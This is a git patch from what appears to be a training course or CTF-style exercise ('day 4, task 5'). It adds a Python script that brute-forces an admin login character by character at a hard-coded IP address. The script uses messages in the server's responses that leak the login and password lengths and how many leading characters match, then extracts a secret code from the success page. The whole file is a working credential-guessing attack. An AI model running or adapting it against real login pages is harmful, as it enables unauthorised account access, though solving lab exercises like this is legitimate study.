From 0871e4839f99e741ec559509f6614859304c353f Mon Sep 17 00:00:00 2001 From: Andrew Date: Mon, 22 Apr 2019 19:14:30 +0400 Subject: =?UTF-8?q?=D0=94=D0=B5=D0=BD=D1=8C=204,=20=D0=97=D0=B0=D0=B4?= =?UTF-8?q?=D0=B0=D1=87=D0=B0=205?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- day4/task5/task5.py | 78 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 day4/task5/task5.py (limited to 'day4') diff --git a/day4/task5/task5.py b/day4/task5/task5.py new file mode 100644 index 0000000..5aa14db --- /dev/null +++ b/day4/task5/task5.py @@ -0,0 +1,78 @@ +import requests +import re +import string + + +def brute_login(login_len, password): + login = '' + for _ in range(login_len): + for char in login_alphabet: + resp = requests.post(url, data={ + 'login': (login + char).ljust(login_len), + 'password': password + }) + try: + if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login): + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + except IndexError: + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return login + + +def brute_password(pass_len, login): + password = '' + + for _ in range(pass_len): + for char in password_alphabet: + resp = requests.post(url, data={ + 'login': login, + 'password': (password + char).ljust(pass_len) + }) + try: + if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password): + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + except IndexError: + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return password + + +url = 'http://213.178.59.123:8000/admin_auth' +login_alphabet = string.printable +# Судя по тому, что возвращает страничка, когда введен правильный логин +# и в пароле правильное количество знаков, в пароле есть только цифры. +password_alphabet = string.digits + +login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL) +password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL) + +resp = requests.post(url, data={'login': '123', 'password': '123'}) +login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3 +real_login = brute_login(login_len, '123') +print(f'Логин подобран: {real_login}') + +resp = requests.post(url, data={'login': real_login, 'password': '123'}) +pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3 +real_password = brute_password(pass_len, real_login) +print(f'Пароль подобран: {real_password}') + +resp = requests.post(url, data={'login': real_login, 'password': real_password}) +code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0] +print(f'Секретный код: {code}') -- cgit v1.2.3